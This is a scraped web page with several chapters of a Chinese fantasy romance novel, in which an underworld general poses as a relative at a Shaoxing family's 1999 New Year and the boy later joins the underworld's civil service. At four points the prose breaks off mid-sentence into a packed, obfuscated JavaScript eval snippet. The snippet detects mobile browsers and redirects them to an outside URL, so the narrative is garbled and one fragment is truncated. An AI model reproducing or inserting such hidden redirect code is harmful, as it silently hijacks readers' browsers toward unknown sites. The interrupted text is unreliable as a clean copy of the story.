他要是没猜错,沈选的眼睛应该已经能看见一些神鬼精怪了,宣婴得看住了他,又不想刚来就直接露馅。这下家周围下九流小妖瞬间就没了,真君爷的法术穿透家宅,还告诉他第一天灯会活动即告结束。此时,不远的村口锣鼓唢呐已经大作起来。那边热火朝天的气氛与这边期盼已久的情绪如同两河汇流,顷刻融在一起。 想到这里,宣婴默默看一眼里屋的小孩子房间。 十分钟后,奶奶海燕再想招呼宣婴吃点进口酒心巧克力,亲戚家孩子已经从窗边转移阵地后,他盘腿趴着,抱着一个沈选亲自组装的小汽车模型。 他叛逆的脸还怕冷地挨着沙发套,后脑勺像从蛋壳里刚孵化一样。 奶奶端详了一会儿,轻轻取来卧室的毯子。 宣婴被包了起来,被带着埋到刘海燕的腿上,鼻子钻入一股凡人发丝皮肤开始衰老的老人味,他酸涩起来的呼吸不太通畅了。 他的指甲深深掐进掌心。很遗憾并不能亲口告诉刘海燕,多年前的自己曾经抱过每一代沈家孩子。可你当时不这样啊。 刘海燕任由他这个大孩子靠住,老奶奶想着今天第一道菜先炸荠菜春卷给两个小孩吃着玩玩好了。 “你是不是肚子饿了,还是想等沈选一起玩?” “……” “要不你们今晚住一块吧,我再多铺一床棉花被让你们一起睡。” 这个内容差不多一模一样的问题,沈选在后来回家发现门口多了一双鞋子的时候,他也听到了。 昨天吓到他的灶君神龛上还压着一只外地体校的书包。 “沈选,看看今天门上有没有变化,你猜谁来了?” 奶奶在炸春卷,动静噼里啪啦的,一个人听见声音就缩在灶头边害羞了。 “……他、他不认识我!” 奶奶说:“那就更得出去见见面了。沈选,叫人,你想叫他哥哥,还是叫他的名字?” 沈如诚笑呵呵跟在后边,帮老婆提着杀好的活鱼问:“薛婴?门口的春联也是你帮忙贴的?阿娘,我好像闻到了糕团香?” 棉帘掀起的风雪里,裹成团子的小人儿睫毛挂着冰晶。 一道少年气十足的明亮嗓音像屋前的炮,用惊天一声闯入了五岁小男孩的心间。 “诶!是我。” “你、你好!沈选!” “1999年,新年快乐!” 15.【一更】天字号:阴状(1) “叮咚——” 门开带起穿堂风,卷着香味扑进玄关鞋柜。 沈选记住了那个声音。 还没等他的耳朵变得不那么疼,他紧接着就见大嗓门的少年探出头,对自己妈妈也搓手打招呼,“新年好!我是镇江马家二舅公的孙儿薛婴!” 寒风掀起薛婴的头发,露出耳垂冻出的绯红。 他看来帮自己奶奶做了好多事。 不止运动服领口露出的脖颈还挂着汗,呵出的白雾里也带着局促。 但是沈选比他小,自然对陌生亲戚上门感到更不自在,所以他没有及时回答奶奶的问题。 又过了二十分钟,八仙桌被成年人摆好,人都全了,大家都围着圆桌坐,奶奶刘海燕端上来一条家烧大黄鱼,这个菜好就好在寓意深远,团圆饭上年年有余,小客人年年就能再来——这也是沈家把亲戚孩子放在心上的表示。 沈选消失一会儿刚好从卧室跑进来了,一来目光先去找留在客厅的薛婴,想看他坐在哪里。 “沈选,你和哥哥坐?”沈选妈妈看出儿子的心。 薛婴自从看到那条鱼后,已经半天不说话了。 不知道为什么他抢着摇了摇头。 沈选一看,也没敢吭声,他偷抓出来的那个新汽车模型被藏回裤兜里。 …… 后来,千禧年来临前的央视新闻节目在客厅播放着,老绍兴的三代人团聚一堂,说话气氛好得让大人们把时间都搞忘了。 而这场的初次见面,就这样草草收场,来到了当夜的同处一室环节。 1999年廿四。 晚上回来的沈选父母在老黄杨木床上躺着,捂热被窝的大人们在听隔壁的两个小孩有没有拌嘴吵架。 今天他们的表现让大人们都察觉到了异样。 小孩子之间的关系,总是很敏感的,又好奇又怕生是难免。 叶鹿鸣打着毛线:“两个人在一起干嘛呢?” 她的声音正尽可能压着,因为夜晚的家里到处很安静。 夫妻当年结婚时做的踏花棉被上有一堆毛线团和织围巾的银色钢针,沈如诚的手绕着一圈全羊毛线团,趴在墙上打探消息,直到听到他儿子下床关灯,爸爸才眨巴眨巴眼睛后,爬回来对老婆轻声打密语:“嗯……好像沈选看完书了,他问薛婴还看不看电视,薛婴说困了要睡,他俩现在在床上背对背保持沉默,气氛感觉十分凝重,只能听见心跳声,可……这两个活泼小朋友为什么要用各自的屁股打招呼?我用不用拍拍墙面装鬼吓吓他们!让他俩尖叫一下抱在一起直接做好兄弟!” “噗!”沈选妈妈笑了,摇头无奈地说:“他肯定喜欢人家哥哥才会内向。” 沈如诚好奇了:“为什么这样讲?参谋长给我分析分析啥意思。” “你见他平时会不会这样没礼貌?我们选选是一个非常不错的小朋友哦。” 妈妈很了解沈选,她也就完全不操心接下来的好几天时间不会迎来转机,放心地做了个手势示意沈选爸爸躺下来关灯睡觉。 “遵命!”爸爸马上躺倒不干细作的活,伸出两脚一蹬被子盖好老婆的胳膊,嘴里不忘对隔壁嘀嘀咕咕,“儿子!加油!争口气!像个男人一样才能谈上朋友!” …… 事情如果如此发展就好了。 实际上,今年还在渡劫中的沈选很糟糕,他一闭眼就再度梦到了地府。 小孩子都不会把梦当真。 他这几天夜夜撞鬼也不知道该怎么办才好。 活人都会害怕死亡,沈选在憋住气偷偷地哭,嘴里发出小孩子晚上磨牙根的声音。 可沈选今夜等到的是阴间的守殿神。 薛婴没跟上去,悄悄打开东屋的门往窗台上瞅了眼。“魂魄”状态的沈选手里紧紧拿着两团将要熄灭的火。 现在的孩子正本能地想去找镇上即将结束九十二岁生命的老人。 薛婴见状也不能出声,只是看了眼沈选的“火点”。 在中国民间的老话里,会讲小孩子的火焰高,双肩上有两盏火,夜里走路不会迷糊。 这个“火”不是物理学意义,说的是人的阳火,阳间所有活人的寿元就依赖于这一身火点高低,它烧得好不好,就决定那个人活的长不长。 此时那些缠绕在孩童周身的、凡人不可见的青黑——也正是太岁劫的预兆。沈选如果被叫醒是很可能会被吓死的。 但别人如果不叫住沈选,问题也很大。 他可能看不见晚上的绍兴有多热闹。但沈家今夜门口扎堆的那些东西,恐怖点叫,就是个万人坑。 看来过年谁都爱凑热闹,都准备来吃香喷喷的沈选。 于是在沈选追发现所有灯笼突然褪成惨白色时,宣婴飞 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14981137|160910||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了过去。 薛婴的运动服配合着宣婴的面具。 一个高中生顺势成了一位冥将。 候在仙桥旁边的阴兵们披着青铜色的古代盔甲,一看见他的面具就知道今夜来活了。 骑着马鬼,羊鬼的骸骨爬出了地底,界外生灵们也就被宣婴吃了个干干净净。 二十米外变得空无一人,魂魄游离在大街上的沈选停了,他记得刚才的桥头分明挤满了人影,此刻却连鼎沸人声都消失了。 身后此时有人靠近,然后他就一头栽进了那个绕到前面的怀抱中。 小孩夜遇疫病鬼,九死一生。 哪知道他现在一睁眼睛,一个戴傩戏面具的正反手揽抱他带了回去,还带他直破阴间饿鬼道的包围。 耳边的鬼哭狼嚎震得他耳垂上的五彩绳结簌簌起舞。 沈选把这一幕烙印在心里,问:“你是……谁?” 宣婴竖起一根手指,对沈选左右摇了摇。 “不能问?”小孩子能看懂手语。 宣婴看见孩子瞳孔里映出自己刻意弯下的腰。 这次大将军用大拇指明明白白地“夸”了五岁小孩。 “你这是在做梦,我们不能往外说,你如果说了出去,我明天就得离开了。” 大将军的眼睛,好像是这么代替嘴巴交代沈选的。 五岁的他也忍不住蜷缩在这个臂弯里,看着过年前的阴间大门,闻着对方面甲缝隙间飘出的檀香味。 至于那晚后来被大将军独臂托到肩部,二人贴住后颈的肌肤触感,也成了沈选童年记忆里第一个关于温度的认知。 小鬼们见了他们的样子不好意思了。 一个个捂住被秀恩爱的眼睛,它们撑住竹竿丢出鞭炮,替大将军和他的命定之人在天地之间用“乓”一声重开了饿鬼道大门。 “五猖兵总教头,地府大将军,苏南傩神大祭司替人间放生功德出巡夜游了——” “叮咚——” 大嗓门神背着小媳妇都走一半,他又鬼鬼祟祟跑回来了。 宣婴大吼一声:“把火吹小点啦!你们这么大声地放,把人又吵醒了怎么办!我岳父岳母好不容易放假不上班!人家凡人过日子容易吗!来,一二三,咱们悄悄放!” 小鬼赶紧一起吐口水,用唾沫星子帮助宣婴灭了鞭炮,它们才摸黑跟大将军回去了。 16.【二更】天字号:阴状(2) 那天晚上,没人知道当天夜里要不是一个人,沈选差点真的没回成家。 褪去那件靛蓝条纹运动衫的地府将军于是变了回去,躺在床上抱了抱孩子,他的脸上也重新少了胎记。 接下来的几天,家里过除夕的流程总少不了薛婴。 全家人都更喜欢薛婴的大嗓门了。 但只有两个孩子才知道,夜晚的游阴曹地府更有意思。 比如,他们廿九从冥司结伴逃出来之后,大将军带沈选拜访了好多地官们的神龛。 各路春节休假在家的大神招待了他们大红包。 他们去地府迎鸾接驾,还看见了两位门神。 至于白天的时候,他们作为小孩子的日子就过得更简单了,过年回家就是吃了睡睡了吃,安逸的春节每天都是在欢笑声中度过。 宣婴的脸在家呆了几天都吃胖了一点。 沈选妈妈挺喜欢他的,就说带他出门剪一个头发。 正月不能理发,但是新年还是要有新气象的。 薛婴不太习惯,他一开始先说不需要,妈妈就说沈选也想出门。 “他——噢!你们两个人一起陪我去吗?” 薛婴立刻就像是这辈子第一次出门剪头发,他弹坐起来了。 三个人到了理发店,师傅给他举着剪刀把后边修理一下,又回头问叶鹿鸣:“阿娘觉得你家帅哥大儿子的头发剪的怎么样?” 沈选妈妈觉得特别精神,拉扯小儿子问:“好不好看?” 沈选在忙着偷看宣婴,冷不丁地回神对妈妈睁大眼,他的脸涨红了起来。 宣婴等不及被撤掉了裆布,他最初肯定是要抢着站起来付钱的。 可最后是两个人的阿娘帮这个新发型买了单。 宣婴举在头顶的双手有些不知所措,他为了表达感激之情,激动万分地说: “那、那就您请我剃头发,咱们等初五,我要送你一个礼,好不好?不能不要!答应我!” 沈选妈妈笑了,摸摸他的头:“你要给我买什么礼物吗?不用了,你还在读书……” 宣婴一边说一边急得上窜下跳。“不,不是。反正就等等吧,我要报答您!” 沈选妈妈也不扫兴:“好吧,可是我只为你花了三块钱,你这都报答,会不会太辛苦?” 薛婴突然更感动了,他说:“只有真正的好人才会替我想,所以我不在乎,以前从来没人给我花三块钱!我觉得这很值得!” …… 初五就是迎财神的日子。 传说,五路财神是掌管世间财富的最高神祇,他们不是上古之神,而是五通神的变体。 也不知道是不是巧合,沈选后来在初二祭财神和初五接财神的两天夜里,分别听到了类似上次灶王爷升天前的对话。 他听到财神半夜出现在他家客厅,客客气气叫一个人将军,那人托付财神要在未来十年多帮助他妈妈叶鹿鸣。 那人的声音更是好耳熟。 这件事看起来到此为止,但十年后,这个梦被证实可能存在。 1999年到2009年,他妈妈就像是被某种天意安排好了。 她的学业一帆风顺,事业蒸蒸日上。 只要人生有难,定遇贵人相助,就连感冒头痛的身体风险都没有遇到过。 无神论者的她可能从没想过自己的人生会顺到如同神袛保佑平安。 所有人更想不到一个动情感激过她的神,当年就在这个家开开心心地过年。 在此期间,沈选也跟他天天在一起,那天,最小的两人合力完了奶奶安排的活计——去粮食站打酱油。 大人们要忙正月祭祖的事,春联的朱砂红映着积雪,少年们冻红的指尖与街上的灯笼交织出年味,依旧互不开口的他们也一同看了一些粗俗的市井热闹。 但是他们进家门之前那个初次见面的模型被送出去了。 小孩子似的,某个百岁少年感觉今年可算没白来。 在他转身就跑掉的一瞬间,沈选没能看到他轻刮了一下发痒的鼻子,嘴巴偷偷地翘上了天。 他们回到家后,家里包馄饨,机器压的皮和奶奶拌的馅料带来传统美食的面香纯粹,氤氲中,父母们关上房门,为了提醒大家睡觉,家里的老挂钟也响了。 但这次他们听到两个孩子隔着墙壁你一句,我一句说起对二十一世纪的诺言与期待。 后来,正月初八就要到了。 在全国人民告别1999年之际,沈选成为了一个六岁的小孩子。 在沈选的世界观里,梦里的大将军几乎是跟着亲戚家孩子的身影一同走了,据对方说,地府是年初八上班,走之前沈选便决定带他去家里厨房偷吃了。 他俩坐在灶神家的神龛用一只碗,一副筷子吃了爸爸除夕做的酒糟鱼,喝了一大瓶橙汁。 临走之前,将军把他放在铺着青苔的门槛上时,也跟着单膝跪地上了。 一张纸被留在了沈选的枕头底下。 第二天,他看着“城隍路引”四个字忍不住发呆。 “城隍……路引?” 对了,沈选想了半天就是没想起来自己前几天忘记了什么重要的事。 此时此刻,他想起就在初八早上,他听到父母的对话,是关于一个老奶奶林梅花过世的消息。 妈妈在说:“怎么偏偏初五没了。” 爸爸又说:“鬼差来人不能等,准是用‘城隍路引’当晚就接她报道了。” 当下鞭炮声已经淹没了他们的真实表情。 正月初九欢迎各路大神重返人间庇佑新年的声音来到了大地。 “正月初九,天公生,祈愿诸天护法除众生苦,赐众生福。” 宣婴也已经离沈家很远,他这次真的准备回去复命: “末将幸不辱命,上告天公,保今朝太岁更替,现即刻开道返阴。” 这扫荡人间的鞭炮带走了沈家人对1999年的美好记忆。 初九早上,当里屋电视机传来赵忠祥的拜年声,院外谁家也点燃了辞岁的爆竹。刘海燕掀开蒸笼,白雾腾起模糊了百年光阴。 记忆的尾声,也就来到沈选这辈子印象最深刻的一天。 因为当他醒来,发现一个人根本不存在。 全家人一夜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14981138|160910||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 之间好像失去了某段梦境片段。 他们的话无形中带给了沈选长达二十年的自我否定。 “薛婴?谁是薛婴?” “没有啊,老婆,家里来过亲戚吗?妈,你见过他吗?” “没有,真的没有,今年过年谁也没来啊。” “沈选,你是不是做梦了?” 家里人当时是真的觉得小孩子在做梦,沈选可能是醒悟了,他只说了一年,偷哭了一次,从此再也没在春节找过薛婴。 别人问,他就说他不记得。 沈选母亲一开始真的相信了儿子那双五岁孩子的清澈眼睛。直到未来的有一天,她在家中打开洗衣机滚筒,接着从儿子的初中校服摸出一个纸团。 沈选妈妈后来总在想:“如果那是一张普通的期中考试试卷或者女孩子给的情书小纸条该多好,可惜不是,我家这个说过再也看不见奇怪东西的儿子……他在兜里放了折法完全正确的金银纸钱。” 一个小孩子想去地府,他在研究鬼神,父母无法理解沈选的心情。 沈选也不再相信眼睛里看到的东西。 他偶尔会想,薛婴来过一次的事情真的是假的吗? 那为什么自打薛婴走了,初八之前的日子,就比一个梦还短,它以后的日子又怎么好像比一百年还长? 还能在春节见到薛婴或者大将军,成了一个真正的美梦。 他们的脸重叠到了一起,又好像也在逐渐模糊不清,但是无数次过年回家,沈选都会再画一次他们加深记忆。 2005年,他与父母在上海过年,饭桌上的大人们说起了一个旧事。 故事发生在1938年的上海,可家里人不知道,沈选在全家人失忆的第四年,就发现了自己的天赋,沈樵的纸术很快也被他的后代学到了手。 沈选还断断续续地发现了太奶奶亲笔记录的1938年绍兴怪谈。 绍兴,原本在他心中只是祖上的故乡,是传说中大禹治水,方舟会盟之地,这个古镇在历史上出过历史家,文人骚客,明清时期也对外活跃。 直到他意识到自己五岁也走过一次阴间,长大的沈选才能从另一个角度了解陈旧观念包裹的上世纪绍兴。 对中国神鬼世界体系“官”,他也才有了第一次系统性认识。 可是“官”都用神名,没有人名,他又该去哪里找出一个没有名字的神? 他有头绪,但不确定这个“薛婴”是不是就是1938年的那个。 因为如果一切是真的,那么他们的距离,好像是自己无论向前走了多少步,都无法回合的一百一十二年,可坚韧的信念已在沈选的心中扎根,不求结果,所有的东西已经在人间野蛮生长... 又过去了几年,在他一次偶然对解放路那间旧房进行了书架清理后,眼尖的沈选发现在书房灰褐色的腐烂地板底下有一个木盒子。 之后,他在屋内缓慢地挖出了爸妈并不知道的秘密,并发现了家里人藏匿的100多封未拆信件。终于,“张飞霞”的情书在2005年1月31日等到了一双手打开它,并暴露在时空另一端的黑色少年眼睛表层。 17.【三更】天字号:阴状(3) “致沈选,我是你的苏三,今日已是小秋刚过。” 这本皮面的民国旧相册是打孔穿线装订的,不像桑皮,色泽白得像棉纱,透光时更有玉质瓷感,夏季时会显出轻青肤色,带点手纹油汗,它像是一个红口白牙的旗袍美人,相册的每一页,也都贴着发黄的风景和人物照片,照片中有南京城墙还厚的古迹风貌、有上海虹口的开水炉子、有女校班级集体留念的合影,上面每个人都是笑靥如花,在那些照片相素不清晰的时代,有一张照片尤为突出,上面是一个扮作京剧花旦的人。 “《女起解》?” “张飞?” “女张飞?” “张飞给我写信?” 沈选有点无语地读出老信件上的脏污落款。 但这个缺少保养的信封状如黑炭,第三个字上也肉眼不可见是朽化后残留物,与其它的纪念品混杂在黑色灰烬中。 或许,唯有在专业仪器下方能展现其真正价值,遗憾的是沈选连写信之人的全名都无法得知。 但落款上的时间也让他再度陷入沉思。 可巧的是,他仿佛被照片上的那双眼睛唤醒了一段记忆。 十来岁情窦初开的他又想起了春暖花开的季节,想到了梦里的1999年。 当时他们全家人后来死活不承认的那个人还存在着。 在未被篡改的春节故事里。 一转眼,自称“薛婴”的少年就来到沈家过年整整三四天了。 他那天起床后,在客厅跟沈家人说自己要去帮地方唱一天戏。 还是第一次听说这个小孩懂高深的戏曲,全家都很吃惊。 九几年绍兴当地还是很爱凑热闹看戏,今天这出新戏叫《五猖闹春》,宣婴到了地方人文办改造的老剧院,立刻踏入后台换衣服去了。 手拿糖球的沈选等了他不过片刻,戏台翻出一个上妆的身形。 四角悬着的红灯笼在暮色里浮起暖光。 沈选远远抬头,也听见了鞭炮声混着师傅们的锣鼓点。 一家人为了拉近两个小孩之间的关系,今天甚至让沈选都提前换上了新衣服,硬是拖他出来。 没想到装不爱看的沈选正没忍住偷偷看薛婴表演。 他根本是为谁魂牵梦系。 他还抬头就发现,那名亲戚家少年从军大衣二棉裤又耐脏又扛冻的德行变了一个人。 那人扮作了一名俊眉秀目的京剧刀马旦,那张英武气的脸被松烟墨勾描出斜飞入鬓的眉目,贵气张扬的水钻片子贴在鬓角,那张敷着红白油彩的面庞便陡然生出几分凌厉。 “看枪!”助场的出兵断喝混着台下炸响。 沈选看到薛婴宛若被“官”附体,他的服袍角动了,左边足尖用着十拿九稳的力道勾住花枪,抬腿一踢—— 那旗杆是很听他的话上去了。 但沈选马上就看到它转了一圈,再落回来后,雪亮枪尖正对的是少年的天灵盖! 别! 沈选被这表演快吓哭了。 他死死瞪着台上的身子就差没一个箭步冲上去拉人下来。 可是他万万没想到,自己很快就会被眼前那一幕里的人直接惊呆。 现场每个人都是。 大家都傻了。 因为每个人都没有想到戏曲旦角中的刀马旦本就是以挑枪为博取喝彩的手段。 薛婴当众放了个紧张吓人的烟雾弹。 为的不是出糗,是他要让众人看见他不躲不让的身姿,真正的名角儿是根本不把这点舞台事故放在眼中的。 他继续抬臂耍枪。 紧随身后的四面地府靠旗猎猎翻飞间,那杆银枪被其中一枚旗帜稳稳一挑,又以原本的轨迹回到了半空。 此时这杆花枪成了除他无人能驾驭的一件天材地宝。 天王爷的宝塔,三太子的红绫,大圣爷的金箍棒也不过如此。 台下人没忍住,连二连三爆出喝彩,心中更为目睹这京剧文化之博大精深感到暗暗叫绝。 薛婴见状继续施展大家伙都爱看的绝活。 他一个旋身将四杆靠旗挨个挑枪,古镇的冬风掠过他的额前碎发,露出被汗水洇出一道胭脂痕的油彩。直至最末一声铜锣敲落,记忆里鲜活生动的“大将军”才大汗淋漓地定在台口。 他手指天地。 一嗓破天。 词曲中正唱的是一段戏里没有的故事。 “尸人得道修成正果。” “命硬最怕慈悲心软。” “不人不鬼愧对前恩。” “今生只为偿还一人。” “凭你那魍魉的伎俩敢动我恩公一家,“定由我施展功德愿力,扒——鬼皮,斩——三尸,平——太岁,浩荡苍天呐你听我一誓言——” 这个宛若冥司将军出世的少年止了声,周围更是跟着鸦雀无声,整个绍兴都听入迷了,但在他身后四杆靠旗一齐收拢的瞬间,铺天盖地观众们打赏的新年红包也从戏台下砸上来,正落在那杆被平举的枪尖。 薛婴不图回报,一抬银枪横直自己的反方向,“好彩头”好巧不巧全跑到了台下。 沈选这时被爸爸提醒看手上的红包。 他迟钝地反应了一下,露出一对红耳垂,终于延迟着叫了一声人。 他冲薛婴挥手加油助威了一下。 再等他们绍兴的角儿下台,他的手上至 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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世上没有人知道,他为了这一天的到来,不止早早就考研读法硕,还勤学苦练纸术。社会已经这么内卷了,一个大活人还能肝成这样,巴不得噶了早点来地府早死早超生,他简直是一个浸润在封建迷信思想下成长起来的地狱三好学。 可是沈选在法学专业上的优势,无形中拉高本地上岸考生的质量。 他引今用典的阴状上奏阎王大作文,被送到后土娘娘的手上,不仅一分没扣,他还直接被入库录取。 从此,一个对外封闭百年的地府老单位——金华大将军殿,总算成为了一位沈姓判官每天必须坐地铁打卡kpi的地方。 他还由于一时不知道跟谁分享喜讯,在宿舍群发了一句话: “我不去我爸公司了,我考上地方公务员了,以后有需要找我。” 待业青年们说:“恭喜上岸!” 沈选回:“别恭喜,咱这水平还没考上去,我是下地做牛马去了。” 他因为爱情跑去当地府的牛马,才会是一头干一行爱一行的活牛马啊。 18.天字号:阴状(4) 沈选的邮件刚好也到了。 “活判同志沈狗蛋,你好,从今天开始,你的工作就是记录生人平日“善恶”的案卷。” “人世间中,人的寿命长短都以业报核销,但正式入职冥司的你不应该空有正义感。” “判官的纸笔不写是非。” “你上任实习勾判只需按律即可。” “因为,若是活判官也成了有个人情绪的人。你们看见好人下来报道就不让他死了,看见坏人下阴就多罚重罚,我们阴司的法律法规岂不是成了摆设?” “请谨记,地府法律是一盏天平,依法治鬼,捍卫冥法,人冥律法才能实现真正的公平公正,这才是司法考试的存在唯一性。” 沈选年轻,又刚走出校园,憧憬未来职场爱情故事的心态好得不行,就把这些“官”话都给牢牢记住了。 殊不知,他自己即将前往的公职单位金华府就压根没遵守过以上的任何一条要求。 金华府的府君殿主爷是个惹祸招灾的老搅屎棍子。 人家还是背靠两个硬后台干妈的“官”二代。 这位才是大家真怕的爷,绰号“宣衙内”,谁不知道啊。 …… “宣婴,今年实习新判官的电子档案发给你了啊,你可得好好珍惜他的加入,这是个人才,我挂了。” 钟馗钟判官正在发地官符箓给沈选的未来领导。 今天是初一,道教真武大帝开武“官”讨论会。雷部,八煞,三十六部,地官十二殿各个不能少,大领导还要用互联网会议的“摄像头”考察仪容仪表。 宣将军这个级别职能,需要戴一顶红缨绿松宝石玉冠,腰肢缠一条蟒蛇玉带,两只耳朵上坠着金镶玉珍珠耳环,配一件深黑色麒麟纹冥将袍服。 只有在出席大型宗教事务的时候才这么累过,他用满身金光闪闪的“官”二代气派打开了办公电脑。 正想顺嘴跟钟馗抱怨今年的线上网络会议太多,还是以前的签到制好。 下一秒,一张优质到能引爆相亲市场的公务员免冠照弹了出来,宣大将军失去思考的心中就只剩一个字:危。 宣婴的大脑深处久久都是一片空白,他在惊醒后赶紧把凳子滑到靠墙角,退后半步,半脸通红,挥爪大骂: “这是哪个缺少父爱的东西干的?做鬼太缺德了!把这个人分配过来的人这辈子吃泡面都只有调料包!” “而且……不是听说体制内的家里人要避嫌?” 凭什么戏本子让许仙白素贞,牛郎和织女都分居两地!就把他俩安排在一起当公务员。 哦,一种植物!也是!他们只有名,还没实!他们并没有结—— 完了。 ——“那就根本不是巧合吧,他,他就是一直都记得……我?” 心脏差点吓停。 宣婴不能理解,沈选没有他的法力强,那段记忆为什么没有被消除。 他用头就开始“捶”桌子,这具修成正果的金身也不会疼,但彻底变成了一头受惊食肉动物的宣婴其实……很可爱。 平时阴森凶戾的三白眼,被他瞪得撑开了泛红湿了的眼角。 白色的睫毛在他这张桀骜不驯的脸上抖个不停,根部还沾着招人稀罕的泪水。 全地府的老仙家,老干娘看见都得安慰傻孩子,耐心地劝他几句。 毕竟,谁不知道他至今放不下对百年前做下滥杀无辜错事的懊恼,反省和自我厌恶。 这个执法者才是世上最想求得三官开恩赦罪的“鬼”。 所以,沈选的黑色西装公式帅照现在比遗照更叫厉鬼感到害怕,宣婴也已经认清了一件事,如果沈家后代认得出他是谁,这场见面首先应该是一场指着鼻子骂他的灾难吧。 “来吧,虽然你只有三脚猫功夫,但我一定站在原地绝对不会反手……就由你来替你太爷爷收了我吧!” 阴郁说完对上沈选的帅照,宣婴面露不屑,冷冷一笑,他披散满头白发的嗜血恶鬼脸,像一个做好准备死在主角正义铁拳下的终极大反派。 “大将军,你报告发给天官了吗?”灶王爷来问问那个拖了三个星期的述职工作。 “英勇就义”的宣婴被吓得摔下了凳子。办公椅的两个滑轮朝天,他穿拖鞋的脚丫子对着天。 灶王爷诧异了。 “您又穿拖鞋和天官们开视频会议了?” “是的……你别看电脑!我没事!” 宣婴捡回拖鞋穿好,刚想一键撤回组织调配,露出想哭情绪的嘴角一顿,手突然停在半空。 他看着电脑,土地爷上次说过缺人,金华府就打了申请给上级政府,前几天大家听说这次考试分配了一个活人大学生,纷纷提前表示期待新鲜血液的加入。 想起他自己加班的崩溃,宣婴无视不了地上掉落的一根根头发,獠牙外翻的冥府打工人粗暴地揉起了脸颊两侧。 不就是隔着一百年,真、真的要跟沈选第一次正式见面吗?他倒要看看对方葫芦里耍什么花招!脑子里卖的什么药!啊呸,说反了! “行、行吧,报告的事,我知道了。” 招招白骨化的手,他先敷衍走灶王爷,想让这个消息别这么快传进单位其他同事的耳朵里。 然而扣上的门板是无法让一个假装不经意检查四周的地府大将军放心的。 关上电脑的他抱着东西,躲到男厕,呲牙咧嘴艰难地消化起了一头牛马要来求职的事,可他却半天接受无能。 他普济众生,离苦得乐,何曾被人像鬼一样反着缠过来! 想不通的宣大将军装作嫌弃地决定研究一下沈选的实力。明明付出了真心,却要装作无所谓,甚至强调“我们根本不熟”,这就是会用实际行动放慢脚步等沈选到二十六岁的他本人。 终于旁边又没人了,沈选的省阴间公务员考试满分示范作文还在屏幕上,转过头来的宣婴木然地点开了查看。 第一道申论题在泛黄的宣纸上向他打招呼。 【结合新时代背景,论述如何平衡阳间城镇化与阴间宅基地规划】。 “……………………” 宣将军极度不平静地抽了一根大前门,而后他取出手机找起老同事们。 没帮忙通风报信的老崔老魏都被“问候”了。 土地公公也被他叽叽喳喳找麻烦了。 宣婴叙述完事情,压低声音说:“什么正好两家人见家长看日子?这是两个地府公务员该挂在嘴边说的吗!我跟他只有工作关系!对,别说葬在一个坑!我和他都尿不到一个盆!啊呸!!阿呸呸呸呸呸啊呸!!!!!!” 就是他骂了几句,又半推半就答应了安排,沈选并没有因此被拒之门外。 这就很让大家意外又期待接下来的八卦了。 崔判官因此还特地给酆都后勤保障所的地官们开了一个地府吃瓜群众2群。 可宣婴的理由是金华府真的需要招聘到一个靠谱的活判官。 别看地府试卷上的题目才给十五分。其实它可是地府官员心中的‘老大难’问题了。 跟世风迷信无关,旧中国农村对土葬是有浓厚情怀的。 人死后都要排号投胎,坟墓说到底是虚设,不如图节能环保地塞进火化炉,但在天朝再怎么推行火葬,也永远断不了土葬风俗,你看看各家谁还没个一座两座的老祖坟。 宣婴心里骂归骂,一眼就注意到沈选的答案根本没跑偏。 接受上头考察的沈判官展现了新旧鬼神观念的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14996712|160910||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 改变,他认真地写了一篇字迹工整的申论。 “修坟是世俗之见,但也分从孝心出发和形式主义。” “死去的人从来不差一个坟墓,但天朝改革发展无论到哪一步,基层公务员单位组织的管理还是需要依托于人情味,依旧希望社会保留一部分建议,从中吸取传统美德,并尽快加强土地确权,增加廉租坟,给全天下孤魂野鬼一个家。” 如果轮到宣婴来回答,他捉襟见肘的文化程度只会告诉他,这题严重超纲了。他死了一百年连宅基地都没呢。 但沈家不愧是世代书香,传到这儿的根不止扎实,后代一边传递公正司法,一边牢记人间大爱的观点真的很暖男。 可尽管金华府一直以来是求贤如渴的,宣婴还是表示他受不了试卷上的“官腔”。 他搓了搓胳膊上的鸡皮疙瘩,才勉强地冷静一点。 但他要土地给沈选弄个二手办公桌。 不许放他面前五百米处。 要放景点垃圾桶旁边。 而且新来的员工不管饭,除了每天基本的处理公务,沈选还要负责浇好那棵财神爷去年送来的发财树。 如果,谁敢把这个招财法宝浇得不死不活。 实习期所有工资,领导就全扣了给大家点肯德基吃掉。 